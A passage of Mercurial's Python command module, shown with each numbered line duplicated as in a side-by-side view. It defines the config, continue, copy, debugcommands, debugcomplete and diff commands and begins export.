2173 % len(stat.deleted)
2173 % len(stat.deleted)
2174 )
2174 )
2175 else:
2175 else:
2176 ui.status(_(b"nothing changed\n"))
2176 ui.status(_(b"nothing changed\n"))
2177 return 1
2177 return 1
2178
2178
2179 cmdutil.commitstatus(repo, node, branch, bheads, tip, opts)
2179 cmdutil.commitstatus(repo, node, branch, bheads, tip, opts)
2180
2180
2181 if not ui.quiet and ui.configbool(b'commands', b'commit.post-status'):
2181 if not ui.quiet and ui.configbool(b'commands', b'commit.post-status'):
2182 status(
2182 status(
2183 ui,
2183 ui,
2184 repo,
2184 repo,
2185 modified=True,
2185 modified=True,
2186 added=True,
2186 added=True,
2187 removed=True,
2187 removed=True,
2188 deleted=True,
2188 deleted=True,
2189 unknown=True,
2189 unknown=True,
2190 subrepos=opts.get(b'subrepos'),
2190 subrepos=opts.get(b'subrepos'),
2191 )
2191 )
2192
2192
2193
2193
2194 @command(
2194 @command(
2195 b'config|showconfig|debugconfig',
2195 b'config|showconfig|debugconfig',
2196 [
2196 [
2197 (b'u', b'untrusted', None, _(b'show untrusted configuration options')),
2197 (b'u', b'untrusted', None, _(b'show untrusted configuration options')),
2198 # This is experimental because we need
2198 # This is experimental because we need
2199 # * reasonable behavior around aliases,
2199 # * reasonable behavior around aliases,
2200 # * decide if we display [debug] [experimental] and [devel] section par
2200 # * decide if we display [debug] [experimental] and [devel] section par
2201 # default
2201 # default
2202 # * some way to display "generic" config entry (the one matching
2202 # * some way to display "generic" config entry (the one matching
2203 # regexp,
2203 # regexp,
2204 # * proper display of the different value type
2204 # * proper display of the different value type
2205 # * a better way to handle <DYNAMIC> values (and variable types),
2205 # * a better way to handle <DYNAMIC> values (and variable types),
2206 # * maybe some type information ?
2206 # * maybe some type information ?
2207 (
2207 (
2208 b'',
2208 b'',
2209 b'exp-all-known',
2209 b'exp-all-known',
2210 None,
2210 None,
2211 _(b'show all known config option (EXPERIMENTAL)'),
2211 _(b'show all known config option (EXPERIMENTAL)'),
2212 ),
2212 ),
2213 (b'e', b'edit', None, _(b'edit user config')),
2213 (b'e', b'edit', None, _(b'edit user config')),
2214 (b'l', b'local', None, _(b'edit repository config')),
2214 (b'l', b'local', None, _(b'edit repository config')),
2215 (b'', b'source', None, _(b'show source of configuration value')),
2215 (b'', b'source', None, _(b'show source of configuration value')),
2216 (
2216 (
2217 b'',
2217 b'',
2218 b'shared',
2218 b'shared',
2219 None,
2219 None,
2220 _(b'edit shared source repository config (EXPERIMENTAL)'),
2220 _(b'edit shared source repository config (EXPERIMENTAL)'),
2221 ),
2221 ),
2222 (b'', b'non-shared', None, _(b'edit non shared config (EXPERIMENTAL)')),
2222 (b'', b'non-shared', None, _(b'edit non shared config (EXPERIMENTAL)')),
2223 (b'g', b'global', None, _(b'edit global config')),
2223 (b'g', b'global', None, _(b'edit global config')),
2224 ]
2224 ]
2225 + formatteropts,
2225 + formatteropts,
2226 _(b'[-u] [NAME]...'),
2226 _(b'[-u] [NAME]...'),
2227 helpcategory=command.CATEGORY_HELP,
2227 helpcategory=command.CATEGORY_HELP,
2228 optionalrepo=True,
2228 optionalrepo=True,
2229 intents={INTENT_READONLY},
2229 intents={INTENT_READONLY},
2230 )
2230 )
2231 def config(ui, repo, *values, **opts):
2231 def config(ui, repo, *values, **opts):
2232 """show combined config settings from all hgrc files
2232 """show combined config settings from all hgrc files
2233
2233
2234 With no arguments, print names and values of all config items.
2234 With no arguments, print names and values of all config items.
2235
2235
2236 With one argument of the form section.name, print just the value
2236 With one argument of the form section.name, print just the value
2237 of that config item.
2237 of that config item.
2238
2238
2239 With multiple arguments, print names and values of all config
2239 With multiple arguments, print names and values of all config
2240 items with matching section names or section.names.
2240 items with matching section names or section.names.
2241
2241
2242 With --edit, start an editor on the user-level config file. With
2242 With --edit, start an editor on the user-level config file. With
2243 --global, edit the system-wide config file. With --local, edit the
2243 --global, edit the system-wide config file. With --local, edit the
2244 repository-level config file.
2244 repository-level config file.
2245
2245
2246 With --source, the source (filename and line number) is printed
2246 With --source, the source (filename and line number) is printed
2247 for each config item.
2247 for each config item.
2248
2248
2249 See :hg:`help config` for more information about config files.
2249 See :hg:`help config` for more information about config files.
2250
2250
2251 .. container:: verbose
2251 .. container:: verbose
2252
2252
2253 --non-shared flag is used to edit `.hg/hgrc-not-shared` config file.
2253 --non-shared flag is used to edit `.hg/hgrc-not-shared` config file.
2254 This file is not shared across shares when in share-safe mode.
2254 This file is not shared across shares when in share-safe mode.
2255
2255
2256 Template:
2256 Template:
2257
2257
2258 The following keywords are supported. See also :hg:`help templates`.
2258 The following keywords are supported. See also :hg:`help templates`.
2259
2259
2260 :name: String. Config name.
2260 :name: String. Config name.
2261 :source: String. Filename and line number where the item is defined.
2261 :source: String. Filename and line number where the item is defined.
2262 :value: String. Config value.
2262 :value: String. Config value.
2263
2263
2264 The --shared flag can be used to edit the config file of shared source
2264 The --shared flag can be used to edit the config file of shared source
2265 repository. It only works when you have shared using the experimental
2265 repository. It only works when you have shared using the experimental
2266 share safe feature.
2266 share safe feature.
2267
2267
2268 Returns 0 on success, 1 if NAME does not exist.
2268 Returns 0 on success, 1 if NAME does not exist.
2269
2269
2270 """
2270 """
2271
2271
2272 opts = pycompat.byteskwargs(opts)
2272 opts = pycompat.byteskwargs(opts)
2273 editopts = (b'edit', b'local', b'global', b'shared', b'non_shared')
2273 editopts = (b'edit', b'local', b'global', b'shared', b'non_shared')
2274 if any(opts.get(o) for o in editopts):
2274 if any(opts.get(o) for o in editopts):
2275 cmdutil.check_at_most_one_arg(opts, *editopts[1:])
2275 cmdutil.check_at_most_one_arg(opts, *editopts[1:])
2276 if opts.get(b'local'):
2276 if opts.get(b'local'):
2277 if not repo:
2277 if not repo:
2278 raise error.InputError(
2278 raise error.InputError(
2279 _(b"can't use --local outside a repository")
2279 _(b"can't use --local outside a repository")
2280 )
2280 )
2281 paths = [repo.vfs.join(b'hgrc')]
2281 paths = [repo.vfs.join(b'hgrc')]
2282 elif opts.get(b'global'):
2282 elif opts.get(b'global'):
2283 paths = rcutil.systemrcpath()
2283 paths = rcutil.systemrcpath()
2284 elif opts.get(b'shared'):
2284 elif opts.get(b'shared'):
2285 if not repo.shared():
2285 if not repo.shared():
2286 raise error.InputError(
2286 raise error.InputError(
2287 _(b"repository is not shared; can't use --shared")
2287 _(b"repository is not shared; can't use --shared")
2288 )
2288 )
2289 if requirements.SHARESAFE_REQUIREMENT not in repo.requirements:
2289 if requirements.SHARESAFE_REQUIREMENT not in repo.requirements:
2290 raise error.InputError(
2290 raise error.InputError(
2291 _(
2291 _(
2292 b"share safe feature not enabled; "
2292 b"share safe feature not enabled; "
2293 b"unable to edit shared source repository config"
2293 b"unable to edit shared source repository config"
2294 )
2294 )
2295 )
2295 )
2296 paths = [vfsmod.vfs(repo.sharedpath).join(b'hgrc')]
2296 paths = [vfsmod.vfs(repo.sharedpath).join(b'hgrc')]
2297 elif opts.get(b'non_shared'):
2297 elif opts.get(b'non_shared'):
2298 paths = [repo.vfs.join(b'hgrc-not-shared')]
2298 paths = [repo.vfs.join(b'hgrc-not-shared')]
2299 else:
2299 else:
2300 paths = rcutil.userrcpath()
2300 paths = rcutil.userrcpath()
2301
2301
2302 for f in paths:
2302 for f in paths:
2303 if os.path.exists(f):
2303 if os.path.exists(f):
2304 break
2304 break
2305 else:
2305 else:
2306 if opts.get(b'global'):
2306 if opts.get(b'global'):
2307 samplehgrc = uimod.samplehgrcs[b'global']
2307 samplehgrc = uimod.samplehgrcs[b'global']
2308 elif opts.get(b'local'):
2308 elif opts.get(b'local'):
2309 samplehgrc = uimod.samplehgrcs[b'local']
2309 samplehgrc = uimod.samplehgrcs[b'local']
2310 else:
2310 else:
2311 samplehgrc = uimod.samplehgrcs[b'user']
2311 samplehgrc = uimod.samplehgrcs[b'user']
2312
2312
2313 f = paths[0]
2313 f = paths[0]
2314 fp = open(f, b"wb")
2314 fp = open(f, b"wb")
2315 fp.write(util.tonativeeol(samplehgrc))
2315 fp.write(util.tonativeeol(samplehgrc))
2316 fp.close()
2316 fp.close()
2317
2317
2318 editor = ui.geteditor()
2318 editor = ui.geteditor()
2319 ui.system(
2319 ui.system(
2320 b"%s \"%s\"" % (editor, f),
2320 b"%s \"%s\"" % (editor, f),
2321 onerr=error.InputError,
2321 onerr=error.InputError,
2322 errprefix=_(b"edit failed"),
2322 errprefix=_(b"edit failed"),
2323 blockedtag=b'config_edit',
2323 blockedtag=b'config_edit',
2324 )
2324 )
2325 return
2325 return
2326 ui.pager(b'config')
2326 ui.pager(b'config')
2327 fm = ui.formatter(b'config', opts)
2327 fm = ui.formatter(b'config', opts)
2328 for t, f in rcutil.rccomponents():
2328 for t, f in rcutil.rccomponents():
2329 if t == b'path':
2329 if t == b'path':
2330 ui.debug(b'read config from: %s\n' % f)
2330 ui.debug(b'read config from: %s\n' % f)
2331 elif t == b'resource':
2331 elif t == b'resource':
2332 ui.debug(b'read config from: resource:%s.%s\n' % (f[0], f[1]))
2332 ui.debug(b'read config from: resource:%s.%s\n' % (f[0], f[1]))
2333 elif t == b'items':
2333 elif t == b'items':
2334 # Don't print anything for 'items'.
2334 # Don't print anything for 'items'.
2335 pass
2335 pass
2336 else:
2336 else:
2337 raise error.ProgrammingError(b'unknown rctype: %s' % t)
2337 raise error.ProgrammingError(b'unknown rctype: %s' % t)
2338 untrusted = bool(opts.get(b'untrusted'))
2338 untrusted = bool(opts.get(b'untrusted'))
2339
2339
2340 selsections = selentries = []
2340 selsections = selentries = []
2341 if values:
2341 if values:
2342 selsections = [v for v in values if b'.' not in v]
2342 selsections = [v for v in values if b'.' not in v]
2343 selentries = [v for v in values if b'.' in v]
2343 selentries = [v for v in values if b'.' in v]
2344 uniquesel = len(selentries) == 1 and not selsections
2344 uniquesel = len(selentries) == 1 and not selsections
2345 selsections = set(selsections)
2345 selsections = set(selsections)
2346 selentries = set(selentries)
2346 selentries = set(selentries)
2347
2347
2348 matched = False
2348 matched = False
2349 all_known = opts[b'exp_all_known']
2349 all_known = opts[b'exp_all_known']
2350 show_source = ui.debugflag or opts.get(b'source')
2350 show_source = ui.debugflag or opts.get(b'source')
2351 entries = ui.walkconfig(untrusted=untrusted, all_known=all_known)
2351 entries = ui.walkconfig(untrusted=untrusted, all_known=all_known)
2352 for section, name, value in entries:
2352 for section, name, value in entries:
2353 source = ui.configsource(section, name, untrusted)
2353 source = ui.configsource(section, name, untrusted)
2354 value = pycompat.bytestr(value)
2354 value = pycompat.bytestr(value)
2355 defaultvalue = ui.configdefault(section, name)
2355 defaultvalue = ui.configdefault(section, name)
2356 if fm.isplain():
2356 if fm.isplain():
2357 source = source or b'none'
2357 source = source or b'none'
2358 value = value.replace(b'\n', b'\\n')
2358 value = value.replace(b'\n', b'\\n')
2359 entryname = section + b'.' + name
2359 entryname = section + b'.' + name
2360 if values and not (section in selsections or entryname in selentries):
2360 if values and not (section in selsections or entryname in selentries):
2361 continue
2361 continue
2362 fm.startitem()
2362 fm.startitem()
2363 fm.condwrite(show_source, b'source', b'%s: ', source)
2363 fm.condwrite(show_source, b'source', b'%s: ', source)
2364 if uniquesel:
2364 if uniquesel:
2365 fm.data(name=entryname)
2365 fm.data(name=entryname)
2366 fm.write(b'value', b'%s\n', value)
2366 fm.write(b'value', b'%s\n', value)
2367 else:
2367 else:
2368 fm.write(b'name value', b'%s=%s\n', entryname, value)
2368 fm.write(b'name value', b'%s=%s\n', entryname, value)
2369 if formatter.isprintable(defaultvalue):
2369 if formatter.isprintable(defaultvalue):
2370 fm.data(defaultvalue=defaultvalue)
2370 fm.data(defaultvalue=defaultvalue)
2371 elif isinstance(defaultvalue, list) and all(
2371 elif isinstance(defaultvalue, list) and all(
2372 formatter.isprintable(e) for e in defaultvalue
2372 formatter.isprintable(e) for e in defaultvalue
2373 ):
2373 ):
2374 fm.data(defaultvalue=fm.formatlist(defaultvalue, name=b'value'))
2374 fm.data(defaultvalue=fm.formatlist(defaultvalue, name=b'value'))
2375 # TODO: no idea how to process unsupported defaultvalue types
2375 # TODO: no idea how to process unsupported defaultvalue types
2376 matched = True
2376 matched = True
2377 fm.end()
2377 fm.end()
2378 if matched:
2378 if matched:
2379 return 0
2379 return 0
2380 return 1
2380 return 1
2381
2381
2382
2382
2383 @command(
2383 @command(
2384 b'continue',
2384 b'continue',
2385 dryrunopts,
2385 dryrunopts,
2386 helpcategory=command.CATEGORY_CHANGE_MANAGEMENT,
2386 helpcategory=command.CATEGORY_CHANGE_MANAGEMENT,
2387 helpbasic=True,
2387 helpbasic=True,
2388 )
2388 )
2389 def continuecmd(ui, repo, **opts):
2389 def continuecmd(ui, repo, **opts):
2390 """resumes an interrupted operation (EXPERIMENTAL)
2390 """resumes an interrupted operation (EXPERIMENTAL)
2391
2391
2392 Finishes a multistep operation like graft, histedit, rebase, merge,
2392 Finishes a multistep operation like graft, histedit, rebase, merge,
2393 and unshelve if they are in an interrupted state.
2393 and unshelve if they are in an interrupted state.
2394
2394
2395 use --dry-run/-n to dry run the command.
2395 use --dry-run/-n to dry run the command.
2396 """
2396 """
2397 dryrun = opts.get('dry_run')
2397 dryrun = opts.get('dry_run')
2398 contstate = cmdutil.getunfinishedstate(repo)
2398 contstate = cmdutil.getunfinishedstate(repo)
2399 if not contstate:
2399 if not contstate:
2400 raise error.StateError(_(b'no operation in progress'))
2400 raise error.StateError(_(b'no operation in progress'))
2401 if not contstate.continuefunc:
2401 if not contstate.continuefunc:
2402 raise error.StateError(
2402 raise error.StateError(
2403 (
2403 (
2404 _(b"%s in progress but does not support 'hg continue'")
2404 _(b"%s in progress but does not support 'hg continue'")
2405 % (contstate._opname)
2405 % (contstate._opname)
2406 ),
2406 ),
2407 hint=contstate.continuemsg(),
2407 hint=contstate.continuemsg(),
2408 )
2408 )
2409 if dryrun:
2409 if dryrun:
2410 ui.status(_(b'%s in progress, will be resumed\n') % (contstate._opname))
2410 ui.status(_(b'%s in progress, will be resumed\n') % (contstate._opname))
2411 return
2411 return
2412 return contstate.continuefunc(ui, repo)
2412 return contstate.continuefunc(ui, repo)
2413
2413
2414
2414
2415 @command(
2415 @command(
2416 b'copy|cp',
2416 b'copy|cp',
2417 [
2417 [
2418 (b'', b'forget', None, _(b'unmark a destination file as copied')),
2418 (b'', b'forget', None, _(b'unmark a destination file as copied')),
2419 (b'A', b'after', None, _(b'record a copy that has already occurred')),
2419 (b'A', b'after', None, _(b'record a copy that has already occurred')),
2420 (
2420 (
2421 b'',
2421 b'',
2422 b'at-rev',
2422 b'at-rev',
2423 b'',
2423 b'',
2424 _(b'(un)mark copies in the given revision (EXPERIMENTAL)'),
2424 _(b'(un)mark copies in the given revision (EXPERIMENTAL)'),
2425 _(b'REV'),
2425 _(b'REV'),
2426 ),
2426 ),
2427 (
2427 (
2428 b'f',
2428 b'f',
2429 b'force',
2429 b'force',
2430 None,
2430 None,
2431 _(b'forcibly copy over an existing managed file'),
2431 _(b'forcibly copy over an existing managed file'),
2432 ),
2432 ),
2433 ]
2433 ]
2434 + walkopts
2434 + walkopts
2435 + dryrunopts,
2435 + dryrunopts,
2436 _(b'[OPTION]... (SOURCE... DEST | --forget DEST...)'),
2436 _(b'[OPTION]... (SOURCE... DEST | --forget DEST...)'),
2437 helpcategory=command.CATEGORY_FILE_CONTENTS,
2437 helpcategory=command.CATEGORY_FILE_CONTENTS,
2438 )
2438 )
2439 def copy(ui, repo, *pats, **opts):
2439 def copy(ui, repo, *pats, **opts):
2440 """mark files as copied for the next commit
2440 """mark files as copied for the next commit
2441
2441
2442 Mark dest as having copies of source files. If dest is a
2442 Mark dest as having copies of source files. If dest is a
2443 directory, copies are put in that directory. If dest is a file,
2443 directory, copies are put in that directory. If dest is a file,
2444 the source must be a single file.
2444 the source must be a single file.
2445
2445
2446 By default, this command copies the contents of files as they
2446 By default, this command copies the contents of files as they
2447 exist in the working directory. If invoked with -A/--after, the
2447 exist in the working directory. If invoked with -A/--after, the
2448 operation is recorded, but no copying is performed.
2448 operation is recorded, but no copying is performed.
2449
2449
2450 To undo marking a destination file as copied, use --forget. With that
2450 To undo marking a destination file as copied, use --forget. With that
2451 option, all given (positional) arguments are unmarked as copies. The
2451 option, all given (positional) arguments are unmarked as copies. The
2452 destination file(s) will be left in place (still tracked). Note that
2452 destination file(s) will be left in place (still tracked). Note that
2453 :hg:`copy --forget` behaves the same way as :hg:`rename --forget`.
2453 :hg:`copy --forget` behaves the same way as :hg:`rename --forget`.
2454
2454
2455 This command takes effect with the next commit by default.
2455 This command takes effect with the next commit by default.
2456
2456
2457 Returns 0 on success, 1 if errors are encountered.
2457 Returns 0 on success, 1 if errors are encountered.
2458 """
2458 """
2459 opts = pycompat.byteskwargs(opts)
2459 opts = pycompat.byteskwargs(opts)
2460 with repo.wlock():
2460 with repo.wlock():
2461 return cmdutil.copy(ui, repo, pats, opts)
2461 return cmdutil.copy(ui, repo, pats, opts)
2462
2462
2463
2463
2464 @command(
2464 @command(
2465 b'debugcommands',
2465 b'debugcommands',
2466 [],
2466 [],
2467 _(b'[COMMAND]'),
2467 _(b'[COMMAND]'),
2468 helpcategory=command.CATEGORY_HELP,
2468 helpcategory=command.CATEGORY_HELP,
2469 norepo=True,
2469 norepo=True,
2470 )
2470 )
2471 def debugcommands(ui, cmd=b'', *args):
2471 def debugcommands(ui, cmd=b'', *args):
2472 """list all available commands and options"""
2472 """list all available commands and options"""
2473 for cmd, vals in sorted(pycompat.iteritems(table)):
2473 for cmd, vals in sorted(pycompat.iteritems(table)):
2474 cmd = cmd.split(b'|')[0]
2474 cmd = cmd.split(b'|')[0]
2475 opts = b', '.join([i[1] for i in vals[1]])
2475 opts = b', '.join([i[1] for i in vals[1]])
2476 ui.write(b'%s: %s\n' % (cmd, opts))
2476 ui.write(b'%s: %s\n' % (cmd, opts))
2477
2477
2478
2478
2479 @command(
2479 @command(
2480 b'debugcomplete',
2480 b'debugcomplete',
2481 [(b'o', b'options', None, _(b'show the command options'))],
2481 [(b'o', b'options', None, _(b'show the command options'))],
2482 _(b'[-o] CMD'),
2482 _(b'[-o] CMD'),
2483 helpcategory=command.CATEGORY_HELP,
2483 helpcategory=command.CATEGORY_HELP,
2484 norepo=True,
2484 norepo=True,
2485 )
2485 )
2486 def debugcomplete(ui, cmd=b'', **opts):
2486 def debugcomplete(ui, cmd=b'', **opts):
2487 """returns the completion list associated with the given command"""
2487 """returns the completion list associated with the given command"""
2488
2488
2489 if opts.get('options'):
2489 if opts.get('options'):
2490 options = []
2490 options = []
2491 otables = [globalopts]
2491 otables = [globalopts]
2492 if cmd:
2492 if cmd:
2493 aliases, entry = cmdutil.findcmd(cmd, table, False)
2493 aliases, entry = cmdutil.findcmd(cmd, table, False)
2494 otables.append(entry[1])
2494 otables.append(entry[1])
2495 for t in otables:
2495 for t in otables:
2496 for o in t:
2496 for o in t:
2497 if b"(DEPRECATED)" in o[3]:
2497 if b"(DEPRECATED)" in o[3]:
2498 continue
2498 continue
2499 if o[0]:
2499 if o[0]:
2500 options.append(b'-%s' % o[0])
2500 options.append(b'-%s' % o[0])
2501 options.append(b'--%s' % o[1])
2501 options.append(b'--%s' % o[1])
2502 ui.write(b"%s\n" % b"\n".join(options))
2502 ui.write(b"%s\n" % b"\n".join(options))
2503 return
2503 return
2504
2504
2505 cmdlist, unused_allcmds = cmdutil.findpossible(cmd, table)
2505 cmdlist, unused_allcmds = cmdutil.findpossible(cmd, table)
2506 if ui.verbose:
2506 if ui.verbose:
2507 cmdlist = [b' '.join(c[0]) for c in cmdlist.values()]
2507 cmdlist = [b' '.join(c[0]) for c in cmdlist.values()]
2508 ui.write(b"%s\n" % b"\n".join(sorted(cmdlist)))
2508 ui.write(b"%s\n" % b"\n".join(sorted(cmdlist)))
2509
2509
2510
2510
2511 @command(
2511 @command(
2512 b'diff',
2512 b'diff',
2513 [
2513 [
2514 (b'r', b'rev', [], _(b'revision (DEPRECATED)'), _(b'REV')),
2514 (b'r', b'rev', [], _(b'revision (DEPRECATED)'), _(b'REV')),
2515 (b'', b'from', b'', _(b'revision to diff from'), _(b'REV1')),
2515 (b'', b'from', b'', _(b'revision to diff from'), _(b'REV1')),
2516 (b'', b'to', b'', _(b'revision to diff to'), _(b'REV2')),
2516 (b'', b'to', b'', _(b'revision to diff to'), _(b'REV2')),
2517 (b'c', b'change', b'', _(b'change made by revision'), _(b'REV')),
2517 (b'c', b'change', b'', _(b'change made by revision'), _(b'REV')),
2518 ]
2518 ]
2519 + diffopts
2519 + diffopts
2520 + diffopts2
2520 + diffopts2
2521 + walkopts
2521 + walkopts
2522 + subrepoopts,
2522 + subrepoopts,
2523 _(b'[OPTION]... ([-c REV] | [--from REV1] [--to REV2]) [FILE]...'),
2523 _(b'[OPTION]... ([-c REV] | [--from REV1] [--to REV2]) [FILE]...'),
2524 helpcategory=command.CATEGORY_FILE_CONTENTS,
2524 helpcategory=command.CATEGORY_FILE_CONTENTS,
2525 helpbasic=True,
2525 helpbasic=True,
2526 inferrepo=True,
2526 inferrepo=True,
2527 intents={INTENT_READONLY},
2527 intents={INTENT_READONLY},
2528 )
2528 )
2529 def diff(ui, repo, *pats, **opts):
2529 def diff(ui, repo, *pats, **opts):
2530 """diff repository (or selected files)
2530 """diff repository (or selected files)
2531
2531
2532 Show differences between revisions for the specified files.
2532 Show differences between revisions for the specified files.
2533
2533
2534 Differences between files are shown using the unified diff format.
2534 Differences between files are shown using the unified diff format.
2535
2535
2536 .. note::
2536 .. note::
2537
2537
2538 :hg:`diff` may generate unexpected results for merges, as it will
2538 :hg:`diff` may generate unexpected results for merges, as it will
2539 default to comparing against the working directory's first
2539 default to comparing against the working directory's first
2540 parent changeset if no revisions are specified.
2540 parent changeset if no revisions are specified.
2541
2541
2542 By default, the working directory files are compared to its first parent. To
2542 By default, the working directory files are compared to its first parent. To
2543 see the differences from another revision, use --from. To see the difference
2543 see the differences from another revision, use --from. To see the difference
2544 to another revision, use --to. For example, :hg:`diff --from .^` will show
2544 to another revision, use --to. For example, :hg:`diff --from .^` will show
2545 the differences from the working copy's grandparent to the working copy,
2545 the differences from the working copy's grandparent to the working copy,
2546 :hg:`diff --to .` will show the diff from the working copy to its parent
2546 :hg:`diff --to .` will show the diff from the working copy to its parent
2547 (i.e. the reverse of the default), and :hg:`diff --from 1.0 --to 1.2` will
2547 (i.e. the reverse of the default), and :hg:`diff --from 1.0 --to 1.2` will
2548 show the diff between those two revisions.
2548 show the diff between those two revisions.
2549
2549
2550 Alternatively you can specify -c/--change with a revision to see the changes
2550 Alternatively you can specify -c/--change with a revision to see the changes
2551 in that changeset relative to its first parent (i.e. :hg:`diff -c 42` is
2551 in that changeset relative to its first parent (i.e. :hg:`diff -c 42` is
2552 equivalent to :hg:`diff --from 42^ --to 42`)
2552 equivalent to :hg:`diff --from 42^ --to 42`)
2553
2553
2554 Without the -a/--text option, diff will avoid generating diffs of
2554 Without the -a/--text option, diff will avoid generating diffs of
2555 files it detects as binary. With -a, diff will generate a diff
2555 files it detects as binary. With -a, diff will generate a diff
2556 anyway, probably with undesirable results.
2556 anyway, probably with undesirable results.
2557
2557
2558 Use the -g/--git option to generate diffs in the git extended diff
2558 Use the -g/--git option to generate diffs in the git extended diff
2559 format. For more information, read :hg:`help diffs`.
2559 format. For more information, read :hg:`help diffs`.
2560
2560
2561 .. container:: verbose
2561 .. container:: verbose
2562
2562
2563 Examples:
2563 Examples:
2564
2564
2565 - compare a file in the current working directory to its parent::
2565 - compare a file in the current working directory to its parent::
2566
2566
2567 hg diff foo.c
2567 hg diff foo.c
2568
2568
2569 - compare two historical versions of a directory, with rename info::
2569 - compare two historical versions of a directory, with rename info::
2570
2570
2571 hg diff --git --from 1.0 --to 1.2 lib/
2571 hg diff --git --from 1.0 --to 1.2 lib/
2572
2572
2573 - get change stats relative to the last change on some date::
2573 - get change stats relative to the last change on some date::
2574
2574
2575 hg diff --stat --from "date('may 2')"
2575 hg diff --stat --from "date('may 2')"
2576
2576
2577 - diff all newly-added files that contain a keyword::
2577 - diff all newly-added files that contain a keyword::
2578
2578
2579 hg diff "set:added() and grep(GNU)"
2579 hg diff "set:added() and grep(GNU)"
2580
2580
2581 - compare a revision and its parents::
2581 - compare a revision and its parents::
2582
2582
2583 hg diff -c 9353 # compare against first parent
2583 hg diff -c 9353 # compare against first parent
2584 hg diff --from 9353^ --to 9353 # same using revset syntax
2584 hg diff --from 9353^ --to 9353 # same using revset syntax
2585 hg diff --from 9353^2 --to 9353 # compare against the second parent
2585 hg diff --from 9353^2 --to 9353 # compare against the second parent
2586
2586
2587 Returns 0 on success.
2587 Returns 0 on success.
2588 """
2588 """
2589
2589
2590 cmdutil.check_at_most_one_arg(opts, 'rev', 'change')
2590 cmdutil.check_at_most_one_arg(opts, 'rev', 'change')
2591 opts = pycompat.byteskwargs(opts)
2591 opts = pycompat.byteskwargs(opts)
2592 revs = opts.get(b'rev')
2592 revs = opts.get(b'rev')
2593 change = opts.get(b'change')
2593 change = opts.get(b'change')
2594 from_rev = opts.get(b'from')
2594 from_rev = opts.get(b'from')
2595 to_rev = opts.get(b'to')
2595 to_rev = opts.get(b'to')
2596 stat = opts.get(b'stat')
2596 stat = opts.get(b'stat')
2597 reverse = opts.get(b'reverse')
2597 reverse = opts.get(b'reverse')
2598
2598
2599 cmdutil.check_incompatible_arguments(opts, b'from', [b'rev', b'change'])
2599 cmdutil.check_incompatible_arguments(opts, b'from', [b'rev', b'change'])
2600 cmdutil.check_incompatible_arguments(opts, b'to', [b'rev', b'change'])
2600 cmdutil.check_incompatible_arguments(opts, b'to', [b'rev', b'change'])
2601 if change:
2601 if change:
2602 repo = scmutil.unhidehashlikerevs(repo, [change], b'nowarn')
2602 repo = scmutil.unhidehashlikerevs(repo, [change], b'nowarn')
2603 ctx2 = logcmdutil.revsingle(repo, change, None)
2603 ctx2 = logcmdutil.revsingle(repo, change, None)
2604 ctx1 = logcmdutil.diff_parent(ctx2)
2604 ctx1 = logcmdutil.diff_parent(ctx2)
2605 elif from_rev or to_rev:
2605 elif from_rev or to_rev:
2606 repo = scmutil.unhidehashlikerevs(
2606 repo = scmutil.unhidehashlikerevs(
2607 repo, [from_rev] + [to_rev], b'nowarn'
2607 repo, [from_rev] + [to_rev], b'nowarn'
2608 )
2608 )
2609 ctx1 = logcmdutil.revsingle(repo, from_rev, None)
2609 ctx1 = logcmdutil.revsingle(repo, from_rev, None)
2610 ctx2 = logcmdutil.revsingle(repo, to_rev, None)
2610 ctx2 = logcmdutil.revsingle(repo, to_rev, None)
2611 else:
2611 else:
2612 repo = scmutil.unhidehashlikerevs(repo, revs, b'nowarn')
2612 repo = scmutil.unhidehashlikerevs(repo, revs, b'nowarn')
2613 ctx1, ctx2 = logcmdutil.revpair(repo, revs)
2613 ctx1, ctx2 = logcmdutil.revpair(repo, revs)
2614
2614
2615 if reverse:
2615 if reverse:
2616 ctxleft = ctx2
2616 ctxleft = ctx2
2617 ctxright = ctx1
2617 ctxright = ctx1
2618 else:
2618 else:
2619 ctxleft = ctx1
2619 ctxleft = ctx1
2620 ctxright = ctx2
2620 ctxright = ctx2
2621
2621
2622 diffopts = patch.diffallopts(ui, opts)
2622 diffopts = patch.diffallopts(ui, opts)
2623 m = scmutil.match(ctx2, pats, opts)
2623 m = scmutil.match(ctx2, pats, opts)
2624 m = repo.narrowmatch(m)
2624 m = repo.narrowmatch(m)
2625 ui.pager(b'diff')
2625 ui.pager(b'diff')
2626 logcmdutil.diffordiffstat(
2626 logcmdutil.diffordiffstat(
2627 ui,
2627 ui,
2628 repo,
2628 repo,
2629 diffopts,
2629 diffopts,
2630 ctxleft,
2630 ctxleft,
2631 ctxright,
2631 ctxright,
2632 m,
2632 m,
2633 stat=stat,
2633 stat=stat,
2634 listsubrepos=opts.get(b'subrepos'),
2634 listsubrepos=opts.get(b'subrepos'),
2635 root=opts.get(b'root'),
2635 root=opts.get(b'root'),
2636 )
2636 )
2637
2637
2638
2638
2639 @command(
2639 @command(
2640 b'export',
2640 b'export',
2641 [
2641 [
2642 (
2642 (
2643 b'B',
2643 b'B',
2644 b'bookmark',
2644 b'bookmark',
2645 b'',
2645 b'',
2646 _(b'export changes only reachable by given bookmark'),
2646 _(b'export changes only reachable by given bookmark'),
2647 _(b'BOOKMARK'),
2647 _(b'BOOKMARK'),
2648 ),
2648 ),
2649 (
2649 (
2650 b'o',
2650 b'o',
2651 b'output',
2651 b'output',
2652 b'',
2652 b'',
2653 _(b'print output to file with formatted name'),
2653 _(b'print output to file with formatted name'),
2654 _(b'FORMAT'),
2654 _(b'FORMAT'),
2655 ),
2655 ),
2656 (b'', b'switch-parent', None, _(b'diff against the second parent')),
2656 (b'', b'switch-parent', None, _(b'diff against the second parent')),
2657 (b'r', b'rev', [], _(b'revisions to export'), _(b'REV')),
2657 (b'r', b'rev', [], _(b'revisions to export'), _(b'REV')),
2658 ]
2658 ]
2659 + diffopts
2659 + diffopts
2660 + formatteropts,
2660 + formatteropts,
2661 _(b'[OPTION]... [-o OUTFILESPEC] [-r] [REV]...'),
2661 _(b'[OPTION]... [-o OUTFILESPEC] [-r] [REV]...'),
2662 helpcategory=command.CATEGORY_IMPORT_EXPORT,
2662 helpcategory=command.CATEGORY_IMPORT_EXPORT,
2663 helpbasic=True,
2663 helpbasic=True,
2664 intents={INTENT_READONLY},
2664 intents={INTENT_READONLY},
2665 )
2665 )
2666 def export(ui, repo, *changesets, **opts):
2666 def export(ui, repo, *changesets, **opts):
2667 """dump the header and diffs for one or more changesets
2667 """dump the header and diffs for one or more changesets
2668
2668
2669 Print the changeset header and diffs for one or more revisions.
2669 Print the changeset header and diffs for one or more revisions.
2670 If no revision is given, the parent of the working directory is used.
2670 If no revision is given, the parent of the working directory is used.
2671
2671
